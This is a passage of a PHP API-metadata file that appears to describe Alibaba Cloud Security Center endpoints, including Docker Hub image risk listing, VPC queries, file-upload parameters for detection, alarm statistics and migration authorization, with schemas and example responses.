\\"{\\\\\\\\\\\\\\"account\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessAll\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessBaseline\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessMalicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessSensitiveFile\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulCve\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSca\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"agentlessVulSys\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"appNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"asapVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineHigh\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"baselineNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cmsNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"containerSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"cveNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"emgNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"health\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineHigh\\\\\\\\\\\\\\":1,\\\\\\\\\\\\\\"imageBaselineLow\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineMedium\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageBaselineNum\\\\\\\\\\\\\\":1,\\\\\\\\\\\\\\"imageMaliciousFileRemind\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSerious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageMaliciousFileSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulAsap\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulLater\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"imageVulNntf\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"laterVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"newSuspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"nntfVulCount\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"remindNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"scaNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"seriousNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"suspicious\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"sysNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"trojan\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"uuid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"009635bf00c0585e3122ab92f5449919\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vul\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"weakPWNum\\\\\\\\\\\\\\":0}\\"\\n }\\n ]\\n }\\n}","type":"json"}]', 'title' => 'GetDockerhubImageRiskRankInfo', 'translator' => 'machine', ], 'ListDockerhubImage' => [ 'summary' => 'Queries the risk overview of official Docker Hub images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'Query', 'in' => 'query', 'schema' => [ 'description' => 'The query condition for images. You can query images in the `[namespace/]repoName[:version]` format. Conditions in `[]` are optional.'."\n", 'type' => 'string', 'required' => true, 'example' => 'python:3.9', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'ImageList' => [ 'description' => 'The information about the images.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'example' => 'a9b50827-801f-414c-900d-c4a223d*****', ], 'ImageSize' => [ 'description' => 'The size of the image. Unit: bytes.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1024', ], 'Digest' => [ 'description' => 'The digest value of the image.'."\n", 'type' => 'string', 'example' => '5ffded22661b0f1e9c7fcccb0d488cff*****f8c52a819bd7179ef3e4a041988', ], 'HcCount' => [ 'description' => 'The number of baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Tag' => [ 'description' => 'The tag of the image.'."\n", 'type' => 'string', 'example' => '3.9', ], 'VulCount' => [ 'description' => 'The number of detected vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'ImageId' => [ 'description' => 'The image ID.'."\n", 'type' => 'string', 'example' => 'd943de1933650d74b415d3ae8b37c064a0e0c700574d7a949c26db3291******', ], 'RepoName' => [ 'description' => 'The name of the image repository.'."\n", 'type' => 'string', 'example' => 'python', ], 'RepoNamespace' => [ 'description' => 'The namespace to which the image repository belongs.'."\n", 'type' => 'string', 'example' => 'python', ], 'RiskLevelDetail' => [ 'description' => 'The risk details of the image.'."\n", 'type' => 'string', 'example' => '{"vul":0}', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"ImageList\\": [\\n {\\n \\"Uuid\\": \\"a9b50827-801f-414c-900d-c4a223d*****\\",\\n \\"ImageSize\\": 1024,\\n \\"Digest\\": \\"5ffded22661b0f1e9c7fcccb0d488cff*****f8c52a819bd7179ef3e4a041988\\",\\n \\"HcCount\\": 0,\\n \\"Tag\\": \\"3.9\\",\\n \\"VulCount\\": 0,\\n \\"ImageId\\": \\"d943de1933650d74b415d3ae8b37c064a0e0c700574d7a949c26db3291******\\",\\n \\"RepoName\\": \\"python\\",\\n \\"RepoNamespace\\": \\"python\\",\\n \\"RiskLevelDetail\\": \\"{\\\\\\"vul\\\\\\":0}\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListDockerhubImage', 'translator' => 'machine', ], 'ListUserVpc' => [ 'summary' => 'Get VPC Data', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'K8sRegionId', 'in' => 'query', 'schema' => [ 'description' => 'Region.', 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'Return result.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is a unique identifier generated by Alibaba Cloud for this request and can be used to troubleshoot and locate issues.'."\n", 'type' => 'string', 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C619F37', ], 'UserVpcInfos' => [ 'description' => 'List of VPC information.', 'type' => 'array', 'items' => [ 'description' => 'VPC information.', 'type' => 'object', 'properties' => [ 'CreationTime' => [ 'description' => 'Creation time.', 'type' => 'string', 'example' => '2023-03-30T07:16:02Z', ], 'VpcName' => [ 'description' => 'Name of the VPC.', 'type' => 'string', 'example' => 'Vpc-1', ], 'Status' => [ 'description' => 'Status of the VPC. Values:'."\n" ."\n" .'- **Pending**: Configuring'."\n" .'- **Available**: Available', 'type' => 'string', 'example' => 'Available', ], 'VpcId' => [ 'description' => 'ID of the VPC.', 'type' => 'string', 'example' => 'vpc-bp1qpo0kug3a20qqe****', ], 'VRouterId' => [ 'description' => 'ID of the VPC router.', 'type' => 'string', 'example' => 'vrt-bp1jcg5cmxjbl9xgc****', ], 'CidrBlock' => [ 'description' => 'IPv4 network segment of the VPC.', 'type' => 'string', 'example' => '192.168.XXX.XXX/16', ], 'Description' => [ 'description' => 'Description of the VPC.', 'type' => 'string', 'example' => 'This is my VPC.', ], 'Default' => [ 'description' => 'Indicates whether it is the default VPC in the region. Values:'."\n" .'- **true**: Yes - **false**: No', 'type' => 'boolean', 'example' => 'true', ], 'ModifyTime' => [ 'description' => 'Modification time.', 'type' => 'string', 'example' => '2023-03-30T07:16:02Z', ], 'RegionId' => [ 'description' => 'Region', 'type' => 'string', 'example' => 'cn-hangzhou', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C619F37\\",\\n \\"UserVpcInfos\\": [\\n {\\n \\"CreationTime\\": \\"2023-03-30T07:16:02Z\\",\\n \\"VpcName\\": \\"Vpc-1\\",\\n \\"Status\\": \\"Available\\",\\n \\"VpcId\\": \\"vpc-bp1qpo0kug3a20qqe****\\",\\n \\"VRouterId\\": \\"vrt-bp1jcg5cmxjbl9xgc****\\",\\n \\"CidrBlock\\": \\"192.168.XXX.XXX/16\\",\\n \\"Description\\": \\"This is my VPC.\\",\\n \\"Default\\": true,\\n \\"ModifyTime\\": \\"2023-03-30T07:16:02Z\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'Get User VPC Data by Region', 'translator' => 'machine', ], 'CreateBatchUploadUrl' => [ 'summary' => 'Queries the parameters that are required to upload a file for detection.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '119394', 'abilityTreeNodes' => [ 'FEATUREsasNPORLE', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Md5List', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The identifiers of files. Only MD5 hash values are supported.', 'type' => 'array', 'items' => [ 'description' => 'The identifiers of files. Only MD5 hash values are supported.', 'type' => 'string', 'required' => false, 'example' => 'a479262288e03f6a90dc282ea3******', ], 'required' => true, 'maxItems' => 1000, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the file. Valid values:'."\n" ."\n" .'* **0**: unknown file'."\n" .'* **1**: binary file'."\n" .'* **2**: webshell file'."\n" .'* **4**: script file'."\n" ."\n" .'> If you do not know the type of the file, set this parameter to **0**.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Schema of Response', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'DA62490B-7883-5EB4-8601-F2D1D9******', ], 'UploadUrlList' => [ 'description' => 'An array consisting of the parameters that are required to upload a file.', 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'PublicUrl' => [ 'description' => 'The public endpoint of the URL to which the file is uploaded.', 'type' => 'string', 'example' => 'http://example.com', ], 'InternalUrl' => [ 'description' => 'The internal endpoint of the URL to which the file is uploaded.', 'type' => 'string', 'example' => 'http://example.com', ], 'Expire' => [ 'description' => 'The timestamp when the values of the parameters expire. Unit: milliseconds.', 'type' => 'string', 'example' => '1658562101370', ], 'Context' => [ 'description' => 'The signature information.', 'type' => 'object', 'properties' => [ 'AccessId' => [ 'description' => 'The AccessKey ID that is used to access the OSS bucket.', 'type' => 'string', 'example' => 'yourAccessKeyID', ], 'Policy' => [ 'description' => 'The policy that poses limits on file upload. For example, the policy can limit the size of the file.', 'type' => 'string', 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****', ], 'Signature' => [ 'description' => 'The signature that is used to upload the file.', 'type' => 'string', 'example' => 'wDhPgVdnY/bkKFYcYFl+4crl****', ], 'OssKey' => [ 'description' => 'The key of the file that is used after the file is uploaded to the OSS bucket.', 'type' => 'string', 'example' => '1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****', ], ], ], 'FileExist' => [ 'description' => 'Indicates whether the file exists in the cloud. Valid values:'."\n" ."\n" .'* **true**: The file exists in the cloud. You do not need to upload the file.'."\n" .'* **false**: The file does not exist in the cloud. You must upload the file.', 'type' => 'boolean', 'example' => 'false', ], 'Md5' => [ 'description' => 'The identifier of the file.', 'type' => 'string', 'example' => '2f8dc248a0fbb96c69e45acad2******', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DA62490B-7883-5EB4-8601-F2D1D9******\\",\\n \\"UploadUrlList\\": [\\n {\\n \\"PublicUrl\\": \\"http://example.com\\",\\n \\"InternalUrl\\": \\"http://example.com\\",\\n \\"Expire\\": \\"1658562101370\\",\\n \\"Context\\": {\\n \\"AccessId\\": \\"yourAccessKeyID\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyMi0wNy0yM1QxMDo1ODoxMC****\\",\\n \\"Signature\\": \\"wDhPgVdnY/bkKFYcYFl+4crl****\\",\\n \\"OssKey\\": \\"1/2022/06/23/15/41/16559701077444693a0c6-33b2-4cc2-a99f-9f38b8b8****\\"\\n },\\n \\"FileExist\\": false,\\n \\"Md5\\": \\"2f8dc248a0fbb96c69e45acad2******\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'CreateBatchUploadUrl', ], 'GetFunctionTrialStatus' => [ 'summary' => 'Get Trial Status', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '140189', 'abilityTreeNodes' => [ 'FEATUREsas0KX1KI', ], ], 'parameters' => [ [ 'name' => 'FunctionName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the function module.', 'type' => 'string', 'required' => false, 'example' => 'trail_file_detect_api_reward', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Indicates eligibility. Values:'."\n" ."\n" .'- **0**: Eligible'."\n" .'- **1**: Not eligible'."\n" .'- **2**: Trial ended'."\n" .'- **3**: In trial', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for this request and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '8B30CCDD-B79A-5844-BE66-F6D51335'."\n" .'XXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": 1,\\n \\"RequestId\\": \\"8B30CCDD-B79A-5844-BE66-F6D51335\\\\nXXXX\\"\\n}","type":"json"}]', 'title' => 'Get Function Trial Eligibility Status', 'translator' => 'machine', ], 'ListTargetByBatch' => [ 'summary' => 'Query Targets by Batch', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number of the current page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of items to return per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'BatchId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the release batch.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1371', ], ], [ 'name' => 'OperationBase', 'in' => 'query', 'schema' => [ 'description' => 'Asset selection dimension. Values:'."\n" ."\n" .'- **0**: Machine instance'."\n" .'- **1**: Machine group'."\n" .'- **2**: VPC instance ID', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '6EBB8614-746D-555D-AB69-C801AEC7DCE0', ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of items to return per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of items found in the query.', 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], ], ], 'TargetList' => [ 'description' => 'The returned list.', 'type' => 'array', 'items' => [ 'description' => 'Query the asset information of the current batch based on the asset selection dimensions.', 'type' => 'string', 'example' => '[1001,1002]', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6EBB8614-746D-555D-AB69-C801AEC7DCE0\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30\\n },\\n \\"TargetList\\": [\\n \\"[1001,1002]\\"\\n ]\\n}","type":"json"}]', 'title' => 'Query Targets by Batch', 'translator' => 'machine', ], 'GetConsoleFuncGrayStatus' => [ 'summary' => 'Query whether the core function\'s gray switch is hit', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '185187', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'Condition', 'in' => 'query', 'schema' => [ 'description' => 'Name of the function module.', 'type' => 'string', 'required' => false, 'example' => 'vpcConsoleSwitch', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Set the language type for request and response messages. Default value: **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Return result.', 'type' => 'object', 'properties' => [ 'Hit' => [ 'description' => 'Whether it hits the gray status.', 'type' => 'boolean', 'example' => 'true', ], 'ExcludeApiList' => [ 'description' => 'List of APIs not hit.', 'type' => 'array', 'items' => [ 'description' => 'List of APIs not hit.', 'type' => 'object', 'properties' => [ 'Code' => [ 'description' => 'Product Code.', 'type' => 'string', 'example' => 'Sas', ], 'Version' => [ 'description' => 'API version.', 'type' => 'string', 'example' => '2017-11-10', ], 'Action' => [ 'description' => 'Action corresponding to the API.', 'type' => 'string', 'example' => 'GetAttackTypeList', ], ], ], ], ], ], 'RequestId' => [ 'description' => 'The ID of this call request, which is a unique identifier generated by Alibaba Cloud for the request. It can be used to troubleshoot and pinpoint issues.', 'type' => 'string', 'example' => '5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Hit\\": true,\\n \\"ExcludeApiList\\": [\\n {\\n \\"Code\\": \\"Sas\\",\\n \\"Version\\": \\"2017-11-10\\",\\n \\"Action\\": \\"GetAttackTypeList\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"5DFD6277-CC36-57F7-ACE6-F5952XXXXXXXX\\"\\n}","type":"json"}]', 'title' => 'Get the Gray Status of Console Function Modules', 'translator' => 'machine', ], 'GetInstanceAlarmStatistics' => [ 'summary' => 'Count the number of security events for a single instance', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The data source for statistics on instance alarms, with a default value of aqs:'."\n" .'- *sas*: Situation Awareness data source'."\n" .'- *aqs*: Alarm event data'."\n" .'- *honeypot*: Honeypot', 'type' => 'string', 'required' => false, 'example' => 'sas', 'default' => 'aqs', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to be queried.'."\n" .'> Call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) API to obtain this parameter.', 'type' => 'string', 'required' => false, 'example' => '00fea5a1-9792-4373-ab1e-bb6536ba****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The returned message body.', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Data structure.', 'type' => 'object', 'properties' => [ 'RemindCount' => [ 'description' => 'Reminder alarm count.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SuspiciousCount' => [ 'description' => 'Suspicious alarm count.', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'SeriousCount' => [ 'description' => 'Critical alarm count.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'RequestId' => [ 'description' => 'The unique identifier generated by Alibaba Cloud for this request.', 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8B****'."\n", ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RemindCount\\": 1,\\n \\"SuspiciousCount\\": 3,\\n \\"SeriousCount\\": 1\\n },\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8B****\\\\n\\"\\n}","type":"json"}]', 'title' => 'Get Server Alarm Statistics', 'translator' => 'machine', ], 'AddProtectVpcList' => [ 'summary' => 'Add or update the whitelist for VPC purchases', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '91903', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'AddVpcInstanceIdList', 'in' => 'query', 'schema' => [ 'description' => 'Collection of new VPC instance IDs.'."\n" .'> Call the [DescribeVpcList](~~DescribeVpcList~~) interface to obtain this parameter.', 'type' => 'string', 'required' => false, 'example' => '["vpc-bp1vnpgotyzay6p5i****","vpc-bp1vnpgotyzay6p5i****"]', ], ], [ 'name' => 'DelVpcInstanceIdList', 'in' => 'query', 'schema' => [ 'description' => 'Collection of VPC instance IDs to be deleted.'."\n" .'> Call the [DescribeVpcList](~~DescribeVpcList~~) interface to obtain this parameter.', 'type' => 'string', 'required' => false, 'example' => '["vpc-bp1vnpgotyzay6p5i****","vpc-bp1vnpgotyzay6p5i****"]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'FD394AF6-591E-5168-8C8C-4C7847369C77', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FD394AF6-591E-5168-8C8C-4C7847369C77\\"\\n}","type":"json"}]', 'title' => 'Add or Update the Whitelist for VPC Purchases', 'translator' => 'machine', ], 'GrantSwitchAgreement' => [ 'summary' => 'Authorization for Switching Migration', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '163092', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'IsAgree', 'in' => 'query', 'schema' => [ 'description' => 'Indicates whether to agree to migrate the client connections from overseas servers to the Singapore center.', 'type' => 'boolean', 'required' => false, 'example' => 'true', 'default' => 'false', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language type for requests and responses. The default value is **zh**. Possible values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'Switching type. Possible values:'."\n" ."\n" .'- **sg_switch**: Migrate client connections from overseas servers to Singapore', 'type' => 'string', 'required' => false, 'example' => 'sg_switch', ], ], [ 'name' => 'IsImmediate', 'in' => 'query', 'schema' => [ 'description' => 'Whether to schedule the migration of data from the Hong Kong region to the Singapore data center within 24 hours. Values:'."\n" .'- **true**: Schedule the switch within 24 hours.'."\n" .'- **false**: Do not schedule. Users with cloud products in the Hong Kong region will be automatically migrated on March 5, 2026; users without cloud products in the Hong Kong region will be automatically migrated on November 17, 2025.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'IsConfirmed', 'in' => 'query', 'schema' => [ 'description' => 'Has the user confirmed the migration of Hong Kong region data to Singapore data center'."\n" ."\n" .'- **true:** The user has confirmed that Hong Kong region data has been migrated to the Singapore data center. No notification popup needs to be displayed subsequently.'."\n" ."\n" .'- **false**:The user has not confirmed that Hong Kong region data has been migrated to the Singapore data center. Notification popup still needs to be displayed subsequently.', 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'BaseResult', 'description' => 'BaseResult', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for the request, and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911459F', ], 'Code' => [ 'description' => 'Code number.', 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The message returned with the request result.', 'type' => 'string', 'example' => 'successful', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911459F\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\"\\n}","type":"json"}]', 'title' => 'Function Migration Authorization Interface', 'translator' => 'machine', ], 'ListAgentlessAsset' => [ 'summary' => 'Query agentless detection assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '223284', 'abilityTreeNodes' => [ 'FEATUREsasON13NY', ], ], 